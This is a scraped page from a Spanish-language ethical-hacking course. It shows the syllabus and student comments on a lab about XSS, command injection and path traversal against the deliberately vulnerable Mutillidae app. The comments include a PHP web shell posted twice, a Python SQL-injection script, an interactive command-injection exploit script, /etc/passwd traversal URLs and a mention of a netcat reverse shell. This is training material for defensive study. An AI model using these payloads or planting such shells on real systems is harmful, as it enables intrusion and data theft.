Bienvenida y panorama general

1

Lo que aprenderás sobre el hacking ético

2

Conceptos básicos sobre hacking ético

3

Vulnerabilidades

4

Amenazas y ataques comunes

5

Instalación del entorno de pruebas Kali Linux

6

Instalación del entorno de pruebas Mutillidae

7

Instalación del entorno de pruebas Metaesplotaible 3

8

Práctica: Cross-Site-Scripting, command injection y directorio transversal

Introducción al Hacking Ético

9

Fases del hacking

10

Tipos de hacking

11

Práctica: Obteniendo información de fuentes abiertas con OSINT Framework y Google hacking

12

Práctica: Analizar un sitio web con Nikto y Spiderfoot

13

¿Es necesario un hacking ético? Hacking ético como profesión

Pentesting

14

Conceptos. ¿qué es y qué no es pentesting?

15

Tipos de pentesting. Fase Pre-ataque

16

Práctica: Buscando secretos en repositorios GIT

17

Introducción al escaneo de redes

18

Práctica: Escaneo de redes con Nmap

19

Fase de Ataque. Testing de aplicaciones web con Burp suite

20

Práctica: Explotando vulnerabilidades en metasploitable

21

Fase Post-ataque. Metodologías

Estándares y aspectos legales

22

PCI DSS. HIPAA. DMCA.ISO/IEC 27001

23

Contratos, Reglas de compromisos, Cláusula de no competencia y Acuerdo de confidencialidad

24

Convenio de Budapest. ¿Cómo vamos en América latina? Salvaguarda de evidencias digitales

Casos típicos de ataques

25

Malware y Análisis estático de malware

26

Malware y Análisis dinámico de malware

27

Sniffing y Cómo realizar un ataque Man in the middle automatico

28

Sniffing y Cómo realizar un ataque Man in the middle manual

29

Denegación de servicio. Ataque DOS con LOIC y HOIC

30

Ingeniería social

Controles y mecanismos de seguridad

31

Políticas de seguridad. Seguridad física y Controles de acceso

32

Práctica: Bypass autenticación QR (Reto 6 SANS Holiday hack)

33

Copias de seguridad. Defensa en lo profundo

34

Práctica: instalación del IDS snort

35

Gestión de riesgos y modelado de amenazas

No tienes acceso a esta clase

¡Continúa aprendiendo! Únete y comienza a potenciar tu carrera

No se trata de lo que quieres comprar, sino de quién quieres ser. Invierte en tu educación con el precio especial

Antes: $249

Currency
$209

Paga en 4 cuotas sin intereses

Paga en 4 cuotas sin intereses
Suscríbete

Termina en:

10 Días
20 Hrs
30 Min
5 Seg

Práctica: Cross-Site-Scripting, command injection y directorio transversal

8/35
Recursos

Aportes 43

Preguntas 15

Ordenar por:

¿Quieres ver más aportes, preguntas y respuestas de la comunidad?

WEB SHELL
<form action="" method="POST" enctype="application/x-www-form-urlencoded">
    <table style="margin-left: auto; margin-right: auto">
        <tr>
            <td colspan="2" style="text-align: center; font-weight: bold; color: #770000;">
                Inserta el comando requerido
            </td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td style="font-weight: bold;">Comando</td>
            <td><input type="text" name="pCommand" size=""></td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td colspan="2" style="text-align: center;">
                <input type="submit" value="Ejecutar Comando">
            </td>
        </tr>
    </table>
</form>
<?php 
    if (isset($_REQUEST["pCommand"])) {
        echo "<pre>";
        echo shell_exec($_REQUEST["pCommand"]);
        echo "</pre>";
    }
?>

El archivo a buscar en la práctica del minuto 1, es el archivo “passwd” no “password”.

En el primer ejercicio también pueden poner lo siguiente:

http:/<ip>/mutillidae/index.php?page=/etc/passwd

Con el fin de que no pongan tanto “…/…”.

NO DEFINITIVAMENTE NO PUEDO CONTINUAR. MUCHOS ERROS, MUCHOS CORTES DE EDICION EN LAS CLASES DONDE QUIZAS SE MUESTREN MUCHOS DE LOS ERRORES QUE VEO QUE LA MAYORIA DE LOS COMPAÑEROS MENCIONAN. PARA EVITAR ESO INSTALLE LAS MISMAS VERSIONES DE TODAS LAS IMAGENES DE SISTEMA PARA LAS DISTINTAS MAQUINAS VIRTUALES SOLO PUDE INSTALAR BIEN KALI, Metaesplotaible 3 UN DESASTRE CON UNA GUIA QUE NO SE ENTIENDE PARA ALGUIEN COMO YO QUE RECIEN EMPIEZA DE 0 REALMETE. NO ENTIENDO SI ES UNA MAQUINA VIRTUAL NUEVA, SERIA LA MIA PERSONAL LA VERDAD. MULTILLIDAE TAMBIEN MUCHOS ERROES AL CONFIGURARLA Y AL QUERER HACER LO DE ESTA CLASE ME PARECEN MUCHOS MENSAJES DE ERROR. NUNCA ME QUERIDO QUEJAR CON LAS COSAS A MEJORAR PERO REALMENTE EN ESTOS CURSOS QUE EMPECE MUY EMOCIONADO ME TERMINO DESEPCIONANDO. GRACIAS ME QUEDE EN LA CLASE 6 Y NO PUDE SEGUIR ME ARRUINO LA RAMA Y NO SE SI SEGUIR LAS DEMAS.

Les comparto mi implementación en Python ❤️.

#!/usr/bin/python3

import requests
from pprint import pprint

BASE_URL="<mutillidae ip>"


def main(**kwargs):
    username = kwargs["username"]
    password = kwargs["password"]
    
    base_url = f"""{BASE_URL}/mutillidae/index.php?page=user-info.php&username={str(username)}&password={str(password)}&user-info-php-submit-button=View+Account+Details"""
    print(base_url)
    res = requests.get(base_url)
    pprint(res.text)


if __name__ == "__main__":
    main(username= "' or '1' = '1",password= "' or '1' = '1")

Porque al ejecutar el ’ or 1=1 – me manda es esto ?

cuando hago 192.168.2.3/mutillidae/index.php?page=…/…/…/…/etc/passwd (con mi respectivo ip) me sale **VALIDATION ERROR: 404 PAGE NOT FOUND **
alguna respuesta a como solucionarlo?

  • También toma la raíz como “/”, es decir no es necesario agregar …/…/… con indicar que arranque desde la raíz esta =/etc/passwd.

  • El ejemplo del sql injenction si lo colocan mal, se muestra toda la query del sql, pueden agregar tambien => 'or ‘1’='1

La verdad está terrible el curso, creo que buscaré el tema en otro lugar.

voy x la clase 10 y me cuesta un Peru seguirle le ritmo…
saca comandos y lso interpreta como si ya estuvieramos avanzados…
sinceramente me trabe…
me voy a intentar via tutoriales de youtube o algo
xq empieza lo mas bien
pero no explica los comandos…
como vienen
q funcion cumple… ( te manda de un lugar a otro , o soy yo el del problema o no se)
pero de todos los cursos q estoy aprendiendo docker, python . este no entiendo nada!..
xq pone comandos y no explica el que… o como. no te queda otra q pausar y ver q "**** esta haciendo.

Para los que no entienden la diferencia entre path traversal e RFI Y LFI, pues que la de arriba solo sirve para leer archivos y dos de abajo, puede ejectuar codigo, subir shell etc. Comento esto porque ami en un principio me confundan, Pero estas tecnicas van de la mano.

Muy interesante, la verdad. El hecho de que la teoría y la práctica se den dentro de la misma clase, bajo mi punto de vista, refuerza mucho el aprendizaje.

En la parte de subir un archivo también se puede utilizar para subir un script de php que haga una conexión del tipo reverse shell y conseguir acceso remoto con netcat.
‘ or 1=1 —

Muy interesante. Funciono todo.

Y si quiero aplicarlo en un entorno real, debo primero lograr conectarme al servidor objetivo y desde ahí ejecutar mutillidae o cómo??

Hola, quien me podría ayudar??
Al momento de abrir el archivo php que generamos no puedo encontrarlo ya que no me abre la carpeta de los documentos y cosas de mi computadora si no que me abre el de kali linux que no tiene nada adentro.

Que clase tan buena… tuve algunos problemas para instalar la carpeta compartida, pero lo logre… si alguien necesita info… escribame y cin gusto lo ayudaré.

Si quieren hacerlo en windows sin tener que virtualizar

https://subscription.packtpub.com/book/networking_and_servers/9781788624039/1/ch01lvl1sec12/installing-mutillidae-on-windows

es una guia de como usar multillidae

Este es el codigo correcto con espacios (probado)

WEB SHELL
<form action="" method="post" enctype="application/x-www-form-urlencoded">
    <table style="margin-left:auto; margin-right:auto">
        <tr>
            <td colspan="2" style="text-align:center; font-weight: bold;color: #770000;">
                Inserta el comando requerido
            </td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td style="font-weight: bold;">Comando</td>
            <td><input type="text" name="pCommand" size="50"></td>
        </tr>
        <tr><td>&nbsp;</td></tr>
        <tr>
            <td colspan="2" style="text-align:center;">
                <input type="submit" value="Ejecutar Comando">
            </td>
        </tr>
    </table>
</form>
<?php
    if (isset($_REQUEST["pCommand"])) {
        echo "<pre>";
        echo shell_exec($_REQUEST["pCommand"]);
        echo "</pre>";
    }//end if
?>

Esta clase me resulto muy muy interesante :’)
Gracias por el platzi day

Uuuuy que buena herramienta. Muy emocionado.
![](https://static.platzi.com/media/user_upload/image-eea04b00-b1de-47ef-a8f8-e33e75cf9b21.jpg)
Gracias
Buen día Aquellos a los que les esta apareciendo este error: ***"Failure is always an option reset db"*** ![](https://static.platzi.com/media/user_upload/image-641f8ad1-f556-477a-8eab-eaf5e1c2ac71.jpg) Lo pueden solucionar con la información que aparece en las siguientes URL: <https://www.hixec.com/como-instalar-mutillidae/> <https://www.baeldung.com/linux/vi-force-edit-and-save-without-permissions>

alguien me puede apoyar por favor

No bueno... No jala el primer ejemplo: ![](https://static.platzi.com/media/user_upload/image-8da72522-bf20-4d59-b1d2-8f3c85c0a550.jpg)

Lastima que no esta actualizado

Lo mejor es utilizar mutillidae desde docker. Instale docker en kali y luego seguí estas instrucciones y funcionó el SQL injection. https://www.youtube.com/watch?v=9RH4l8ff-yg

Hola se podría usar kali Linux como sistema principal para esta clase?

Si tienen Docker (en vez de Virtualbox)

docker run --rm --net host -it -p 80:80 -p 443:443 -p 3306:3306 --name owasp17 bltsec/mutillidae-docker

Abren desde el navegador por localhost

Interesante

Aqui les dejo un exploit que acabo de escribir para poder ejecutar comandos desde la terminal en el dns-lookup.php

Esta escrito con python3, vas a tener que usar

pip install bs4

para que funcione correctamente.

#-*-coding: utf-8-*-
from requests import session
from bs4 import BeautifulSoup


#Aqui pones la ip de tu maquina.
host = "192.168.1.167"
#Aqui pones la ruta de el dns-lookup.php 
route = "/index.php?page=dns-lookup.php"

with session() as s:
	cmd = ''
	while cmd != 'exit':
		cmd = input(">>")
		payload = "|| {}".format(cmd)	
		#Mandar el payload al host por medio de un post request.	
		response = s.post("HtTp://{}{}".format(host, route), data={"target_host": payload})

		#Parsear la respuesta con beautiful soup
		soup = BeautifulSoup(response.text, "html.parser")

		#El output del comando se encuentra en un <pre> con la clase 'report-header'
		#Asi que le decimos a beautiful soup que lo encuentre, y que nos de el texto.
		command_output = soup.find_all("pre", attrs={"class": "report-header"})[0].get_text()

		#Imprimir output del comando
		print(command_output)

Esta muy chevere el curso, pero Sobre la parte del XSS, justo hoy vi un video donde hablaba que es mejor usar alert(document.domain) en lugar de alert(1) porque hay paginas que usan algun tipo de sandbox en un iframe para que el javascript no pueda conseguir ninguna informacion sensible. No es el caso con esta pagina, pero pues supongo que es buena practica.
Aqui les dejo el video:
https://www.youtube.com/watch?v=KHwVjzWei1c&ab_channel=LiveOverflow

2 o 3

Muy interesante la clase

Wow, excelente, demasiadas cosas que no tenía ni idea que se podían realizar

Muy buena clase.

Muy Interesante

@Alan, hola.

Una consulta, porqué algunos comandos no se ejecutan en la cuadro de comandos que creamos. Es decir, si ejecuto ejemplo el comando mkdir, o si intento moverme entre directorios no me lo permite. Lo que he podido realiza con éxito es ver la ruta donde me encuentr (pwd), listar los archivos de esa ruta y en algunos casos ver la información de algunos archivos.

Quedo atento.
Gracias.

Hola
Alguien sabe como le hizo el profe para acceder desde la máquina anfitrión con windows 10 a la web mutilidae alojada en el ubuntu server
esque en el video se vé que es una ip bien rara que según yo nada tiene que ver con la red que generamos en el Vbox (192.168.2.x)

Para Ubuntu 20.04 los pasos correctos son los siguientes:

  • Instalamos apache2, php y mysql:
    sudo apt-get install php libapache2-mod-php php-mysql
    sudo apt install php7.4-curl php7.4-mbstring php7.4-xml
    sudo apt install mysql-server

  • Como a partir de MySQL 5.7 la autenticación que se utiliza es auth_socket, que permite mayor seguridad y usabilidad sin utilizar una contraseña para este proceso, entonces no te permite interactuar con programas externos como es el caso de Mutillidae. Por lo cual es necesario que el método de autenticación debe ser cambiado al tipo mysql_native_password, para esto se deben ejecutar los siguientes comandos:

Sudo mysql -u root
Use mysql;
ALTER USER ‘root’@‘localhost’ IDENTIFIED WITH mysql_native_password BY ‘Mutillid@e2020’;
FLUSH PRIVILEGES;
SELECT user,authentication_string,plugin,host FROM mysql.user;

Luego de hacer esto, reiniciar apache2
sudo systemctl restart apache2

  • Luego de haber cambiado privilegios, descargar mutillidae dentro de la carpeta de trabajo de Apache dentro del directorio /var/www/html con el comando:
    Sudo git clone https://github.com/webpwnized/mutillidae.git

  • Con el paso anterior se crea una carpeta de nombre mutillidae la cual contendrá nuestra aplicación de pruebas. Pero antes de utilizar la aplicación, debemos modificar el archivo database-config.inc con su editor favorito, dentro de la carpeta: /var/www/html/mutillidae/includes
    mutillidae@mutillidae:/var/www/html/mutillidae/includes$ sudo nano databse-config.inc

  • Agregamos en la línea que dice PASSWORD la contraseña previamente generada en el paso número 15 (Mutillid@e2020 o la que hayamos puesto que cumpla con los requsiitos de mysql)

  • Para la utilización de la aplicación Mutillidae se deberá ingresar con ayuda cualquier navegador, por ej, desde un kali Linux en la misma red que la máquina Mutillidae, utilizando la IP de la máquina mutillidae y /mutillidae. Ej. 192.168.x.x/mutillidae
    Y dar clic en Reset DB.

Pueden poner la calidad en 480, mis datos no son muchos y ponen default 720.